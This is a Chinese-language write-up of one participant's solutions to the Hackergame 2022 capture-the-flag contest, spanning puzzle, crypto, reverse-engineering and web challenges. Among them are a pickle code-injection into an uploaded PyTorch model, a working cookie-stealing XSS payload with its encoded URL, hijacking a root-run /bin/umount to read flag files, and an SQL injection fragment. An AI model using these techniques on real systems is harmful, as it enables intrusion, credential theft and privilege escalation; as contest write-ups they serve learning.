GWDx
- Debian Bookworm
- Python 3.10
2022 年 10 月 22 日 12 时,Hackergame 2022 正式开始
签到、Xcaptcha、Latex 机器人各做了十几分钟,然而都没做出来
12:40 - 13:30
开始炼这题的丹。感觉参数量有点小,Loss 不太能降的下来
14:20
发现这题是 web 类型的题目,感觉并不是让我们训练网络或者解不等式。
我对 AI 绘画很感兴趣,之前 bilibili 上 NovelAI 相关的视频看了不少。其中有一个 你的NovelAI模型,极有可能被恶意攻击 提到了 pickle 模块可能存在安全问题。但是里面的代码只展示了 pkl 文件的读取和写入,没有 pt 文件的读取和写入。
把 pt 文件解压缩可以得到一个 pkl 文件,然而直接用 packle 载入会报错。把 PyTorch 版本换成题目中的 1.9 也不行。尝试调试库代码,以失败告终。
15:30
Google 了好久,终于用 pickle Serialization danger pytorch
找到了一个示例 The hidden dangers of loading open-source AI models (ARBITRARY CODE EXPLOIT!),作者写了一个库 yk/patch-torch-save,这个函数可以替换 torch.save
实现代码注入。
试了一下在要上传的模型中注入 exit
进去,发现确实可以让后台崩掉。
实现时需要阻止在执行注入的代码后按照 pt 文件后面的数据保存结果。于是重写 json.dump
函数,让服务器在调用这个函数时把数据集的前十张图片导出到 /tmp/result.json
完整代码见 patch.py
感谢 Stable Diffusion,感谢 NovelAI,我拿到了第一个 flag,获得了这一题的一血,守护了科大这片二次元的土地。
一开始点开签到,画了一下没画出来,开始把网页下载下来看代码。
后来感觉分析 JavaScript 代码不是签到题该有的难度。忽然发现点击提交后 URL 会变,把请求内容改成 2022 就可以了。
- 百度
USTC NEBULA 成立时间
,中国科大“星云战队”获信息安全铁人三项赛华东区企业赛冠军 中提到成立时间是 2017-03 - 找到 gnome-wayland-user-perspective.pdf,里面的是 Kdenlive 的界面
- 发现会提示答对了几道题,所以网上随便查,往上填,发现是 12。
- 用 Google 查找
CVE-2021-4034 torvalds/linux.git
得到 New CVE entries this week - 一开始查不到,Wiki 上找了一些域名碰运气,失败。
后来发现 Bing 国际版直接查找
MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce
即可得到sdf.org
百度垃圾,Google 垃圾。 - 找到 关于实行新的网络费用分担办法的通知,但 2011-01-01 不对。 用脚本枚举出来是 2003-03-01
第一问 VSCode 一开,查 flag
就行
第二问找到 ~/.bash_history
以及 ~/.config/rclone/rclone.conf
,但里面的 FTP 连不上。在家目录里找域名或 IP 填进去都不行。
后来照着 ~/.bash_history
打了一遍命令,发现 Rclone 存储的 pass
比输入的长,猜测进行了加密。
查到了 How to retrieve a crypt password from a config file
装个 go
,把里面的代码跑一跑,flag 就出来了。
说得倒是很轻松,事实上花了不少时间呢。
感觉 MISC 题在考智商,能不能领会到出题人的想法
正则表达式替换
import re
with open('getflag.hei.py', 'r') as f:
code = f.read()
result = []
for line in code.split('\n'):
# find a[(.*)] = (.*)
if re.match(r'a\[(.*)\] = (.*)', line):
match = re.match(r'a\[(.*)\] = (.*)', line)
print(match.group(1), match.group(2))
for i in match.group(1).split(' | '):
result.append('a[' + i + '] = ' + match.group(2))
else:
result.append(line)
with open('getflag.hei.py', 'w') as f:
f.write('\n'.join(result))
使用 Python 的 Selenium 库,模拟人工操作。一开始代码写错了,用 Kazam 录屏后才发现错误
代码见 run.py
KDE 自带的图片管理器可以显示图片的 EXIF 信息。
闪光灯对应的是
Flash
一栏,当时没注意到
- 使用
welcome to zozo stadium japan
查到了。邮编用 Google Postcodes 或者 Bing 查到。注意拍摄地点在马路对面 - 手机分辨率:用京东查小米手机,看着像 Redmi Note 9,百度百科说分辨率是 2340x1080
- 用 flightradar24 查航班。根据飞机方向判断起飞机场是东京机场或者南面的一个机场。然后用脚本枚举
每次有 10^-6 次方的概率一下子猜对,就算每次交互 1s,也要 11 天。所以不可能暴力。
观察了一下随机数,没有发现问题。
后来看到这段代码,估计是 NaN
var isLess = guess < this.number - 1e-6 / 2;
var isMore = guess > this.number + 1e-6 / 2;
var isPassed = !isLess && !isMore;
不知道为什么 Firefox 的重发有问题,我最后是用 Python 发的。
<state><guess>NaN</guess></state>
Copilot 教会我用 \input
\input{/flag1}
刚开始可能是没加
/
,所以报错了
很多需要导入包的都不太行。Google 了好久,终于找到 How to import a text file,发现可以用 \catcode
\catcode`\_=12
\catcode`\#=12
\input{/flag2}
一开始以为要找出用户名和密码。
后来点着点着发现 URL 里有 do=
。源码里见过,根据源码改成 do=diff
http://202.38.93.111:15004/doku.php?id=start&do=diff
然后鼠标点之前的版本,就能得到 flag 了。
我也花了挺久的
fopen
目标输出文件,然后打印出来即可
#include <stdio.h>
int main(int argc, char* argv[]) {
// read ./data/static.out and print
FILE* fp = fopen("./data/static.out", "r");
char buf[1024];
while (fgets(buf, 1024, fp) != NULL)
printf("%s", buf);
return 0;
}
得到 flag{the_compiler_is_my_eyes_deba6df85e}
fopen
不行了,没有读权限。
上一小问的 flag 提示在编译时 include
目标文件。但直接 include 不行,因为两个数字间有换行。
Embedding resources in executable using GCC 中提到了 incbin 这个库,可以包含数据文件
代码见 raw.c
为了避免包含这个库,可以用 gcc -E
预处理一下,然后把没用的代码删掉,提交的文件见 submit.c
暑假时查过编译时 include 文件的资料,但当时没找到,这次学到了。
安装 Gerbv
加载所有 *.gbr
文件,然后发现 fla
字样,把所有挡住的圆盘删掉,获得 flag。
一开始装了个免费版的 Altium Designer,没用
直接打开有两个按钮,鼠标左键 + Alt + Space 乱按有概率颠倒按钮,但还是会显示没有管理员权限。
使用 Detect_it_Easy,没有发现壳。
用文本编辑器打开文件会显示一些文字,比如 flag_machine.txt
学习了一下 IDA 的使用。找到了 fwrite
的位置。根据反汇编的代码,将判断语句 jnz
更改为 jz
bot.py
调用 selenium 打开网页。需要更改 URL 的参数获得 cookie
查看 http://202.38.93.111:10056/share?result=MTAwOkdXRHg%3D 的页面源代码
微积分网站中的 URL 是经过 base64 和 URL 编码的
解码后是 GWDx:100
查看 JavaScript 代码
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);
document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";
经过尝试,填入 <script>
不会被更新。而 浅谈XSS攻击的那些事 中提到可以用 <img src=1 onerror=
进行 XSS 攻击
所以构造
<img src="1" onerror=document.querySelector("#greeting").innerHTML=document.cookie>
加上 :
,base64 和 URL 编码后得到
http://202.38.93.111:10056/share?result=OjxpbWcgc3JjPSIxIiBvbmVycm9yPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiNncmVldGluZyIpLmlubmVySFRNTD1kb2N1bWVudC5jb29raWU%2B
填入提交网站即可获得 flag
fopen
直接读
#include <stdio.h>
#include <stdlib.h>
int main() {
// open /flag1 and print it
FILE* f = fopen("/flag1", "r");
char buf[100];
fgets(buf, 100, f);
printf("%s", buf);
fclose(f);
return 0;
}
不知道为什么我的电脑上可以,评测机上 execve
不行,execveat
也不行,而 execveat
的汇编也存在 Permission
方面的问题
后来尝试用 windows 的 API,把 start.exe 附到代码里,但是评测机上的 start.exe 没有打印输出结果的选项
最后发现用 windows 直接创建进程运行这个文件是可以的
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
int executeFile() {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (!CreateProcess("\\\\?\\unix\\readflag", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d)\n", GetLastError());
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
int main(int argc, char* argv[]) {
for (int i = 0; i < argc; i++)
printf("argv[%i]: %s\n", i, argv[i]);
executeFile();
}
随机数种子取决于 time(0) + clock()
。其中 clock()
表示程序运行的 CPU 时钟数,本地运行大概在 500-1500 之间。
一开始假设其为某个值和服务器枚举,结果试了 1000 次都不行。
后来想到可以先随便输两个数字,把前两题的答案套出来,然后再枚举。
代码见 solve.c
手动还原一些字符
密钥部分写个扩写程序,暴力枚举,求出密钥的 LCS 与目标匹配度最高的字符串
注意原来的字符串后面有些地方可以省略 e
代码见 solve-HS384.py
做第二问 RS384 时忘记 a e i o u 不做处理的了
这题要求输入 name
IV
key
加密算法 分组模式,使得 pass = name + "Open the door!"
加密后的结果为其自身。
学习了一下块加密的算法、填充方式等信息
加密算法选择 AES,因为明文长度小于 16 字节,可以塞进 AES 的一个块里
这题选择 CBC,使用字节反转攻击
CBC 的公式是
即
代码见 1.py
这题给定一个字符串,可以选择 加密算法 分组模式,每次可以输入不同的 key
IV
,要求每次的块的加密结果为其自身。
这题还是选 CBC
即
代码见 2.py
第三问推出 CBC 的公式了,但没想到逆 CRC128,以为是碰撞
secret 和 public 的 tuple 数估计是相等的
所以求出 e 对于 public.order()
的逆元 d
代码见 RSA.py
观察以下群 1-7 次方的变化
ic| raw.standard_tuple: [(1, 2, 9, 5, 8, 4), (3,), (6, 7, 10)]
ic| (raw**2).standard_tuple: [(1, 9, 8), (2, 5, 4), (3,), (6, 10, 7)]
ic| (raw**3).standard_tuple: [(1, 5), (2, 8), (3,), (4, 9), (6,), (7,), (10,)]
ic| (raw**4).standard_tuple: [(1, 8, 9), (2, 4, 5), (3,), (6, 7, 10)]
ic| (raw**5).standard_tuple: [(1, 4, 8, 5, 9, 2), (3,), (6, 10, 7)]
ic| (raw**6).standard_tuple: [(1,), (2,), (3,), (4,), (5,), (6,), (7,), (8,), (9,), (10,)]
ic| (raw**7).standard_tuple: [(1, 2, 9, 5, 8, 4), (3,), (6, 7, 10)]
如果知道 raw 和 raw^n,可以根据 raw^n 的每个 tuple 中第一个和第二个元素在 raw 中的位置差,列出同余方程组,然后用中国剩余定理求解
代码见 DH.py
这题允许自己选择两个群,然后对方算出它们的 key 次方。
最好使两个群中所有 tuple 的 lcm 尽可能大。
- 首先想到的尽可能多塞素数,计算和不超过 2n 的前几个素数,按照从大到小的顺序生成 tuple 塞进两个群中
- 此外,一些素数的次方数也是可行的,例如 25,27,32
不过由于只是按照贪心算法,在大多数时候并不能得到足够大的解。所以将以下函数更改参数了共计 36 次计算,然后取最大值。人品好就能过 15 关
selectPrimesGen(primeList, n, True, [64, 49, 27, 25]),
这好像就是背包问题的变种,当时没想
代码见 DH+.py
一开始以为改代码以后网页显示不出来是因为程序限制了 Hash,后来发现仅仅是还没编译出来而已
发现 fragment-shader.js 的 t1SDF 里有很多点
在脑袋里模拟了一下,第一个字母的上面部分有点像 f
Python 画了一下,发现 t1SDF
里的点是 flag
但其他几个函数里的点似乎都是经过变换的,不可能用 Python 再画一遍。
看 t5SDF
比较短,可能是用来遮挡 flag 的,把和它相关的删掉即可。
float sceneSDF(vec3 p, out vec3 pColor) {
pColor = vec3(1.0, 1.0, 1.0);
vec4 pH = mk_homo(p);
vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;
float t1 = t1SDF(pTO.xyz);
float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
// float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
float tmin = min(min(min(t1, t2), t3), t4);
return tmin;
}
配置一下 solidity,然后“照猫画虎”
contract MemoryMaster {
uint256 public n;
function memorize(uint256 nn) external {
n = nn;
}
function recall() external view returns (uint256) {
return n;
}
}
后两问没想到能够使用
gas
传递信息在想第三问能不能通过 view 函数调用 library function(
contract
外的函数)来改变状态,Solidity 文档 里说library function
没有 view 的运行时检查
metadata 里提到了 Sigrok。首先,安装 Sigrok 和 PulseView。
参考 Getting Started with a $10 Logic Analyzer using Sigrok and PulseView 学习使用,尝试采样并保存
将保存的 sr 文件中的三个文件替换为给定的文件,重新用 PulseView 打开。
添加 SPI 解码器,设置变化最频繁的信号为 CLK,最不频繁的信号为 CS,其他两个随意。然后导出 txt,某个信号的最后一行 ASCII 解码后就是 flag
第二问: 没配好 RISC-V 的反汇编环境。看到
Video outputed
以为前面的代码已经把字符输出到屏幕上了。
ps
发现父进程是 /etc/init.d/rcS
,这个文件设置了权限,它的最后几行是
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /tmp
poweroff -d 0 -f
这道题之后是在手机上做的,手机上真难打命令
去查了一下恰好看到 change-others,其中提到可以劫持 root
程序将要运行的 poweroff
命令。
查看文件 ls -l /sbin
,发现竟然都是 rwx
,/bin
下也是。经过一系列命令的组合,通过
rm /bin/umount
echo "#!/bin/sh" > /bin/umount
echo "cat /flag2" >> /bin/umount
chmod +x /bin/umount
exit
就可以拿到第二个 Flag。
而第一个 Flag 是同样的道理
rm /bin/umount
echo "#!/bin/sh" > /bin/umount
echo "cat /chall" >> /bin/umount
chmod +x /bin/umount
exit
seccomp
限制了网络的使用
创建管道似乎需要能访问相同路径的文件,行不通。
找了个共享内存的代码 进程间的通信方式(一):共享内存。但是由于不能访问相同目录,把 ftok
改成特定值即可(百度百科偶尔还是有用处的)
如果上传提示 glibc 版本不兼容,在编译时加上
-static
我看到数学公式就犯困
第一问,找到一份代码,改改运行
第二问,也找一份代码,把元件都标上,运行
代码见 qkd.py 和 BernsteinVaziraniAlgorithmSimple.ipynb, 分别参考了 videlanicolas/QKD 和 atilsamancioglu/QX05-BernsteinVaziraniAlgorithmSimple
原来以为是要找漏洞。后来发现 r T
可以读数据
写个脚本把 EEPROM 的程序全读出来
一开始想把随机数的值改掉,结果没有作用
后来想把 + 9 改掉。结果把 3 号页的 9 抹掉以后,发现程序开始以奇怪的方式跑起来了,经过一段时间的观察,发现此时这个程序会按顺序分别将两边的数字设置为 1,0,1,2,0,0,0,而这道题目只需要出现连续 3 次相同的数字就可以过了。
w T 65 3 0 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 1 1 1 # 两边写 1
w 1 1 1 # 两边写 0
w 7 1 0 # 两边写 1 7 为 0
w 1 1 1 # 两边写 2
w 9 1 0 # 两边写 0 8 9 0 为 0
w 2 1 0 # 两边写 0 1 2 3 为 0
w 5 1 0 # 两边写 0 4 5 6 为 0
好像第一行改成
w T 3 3 0 9
就不行,推测是把寻址的基址给改到奇奇怪怪的地方了。
然后把所有轮子的速度读出来,十六进制转 ASCII 就过了
代码见 script.py
手动枚举
改改程序,暴力
代码见 solve-16.py
第三问不会
用 objdump
转成汇编,分析代码间的行数、LCS 的匹配程度。
按照这两个特征排序,枚举所有函数
其实如果只做第一问直接枚举所有函数就行了
代码写得比较乱,就不放了
题目名称 | 说明 |
---|---|
21 矩阵之困 | 拿 z3 解了几个小时没解出来 |
22 你先别急 | 发现可以 SQL 注入 ' or 1=1 # 。但我不太会 SQL 注入,不知道怎么继续 |
29 壹...壹字节? | 我只会把所有一字节的字符发给服务器 |
31 小 Z 的靓号钱包 | 配置好环境了,也知道随机数是 32 位的了。但代码有点没看懂 |
33 evilCallback | 没发现有 .diff 文件,还以为要玄学测试。虽然发现了我大概率也做不出来 |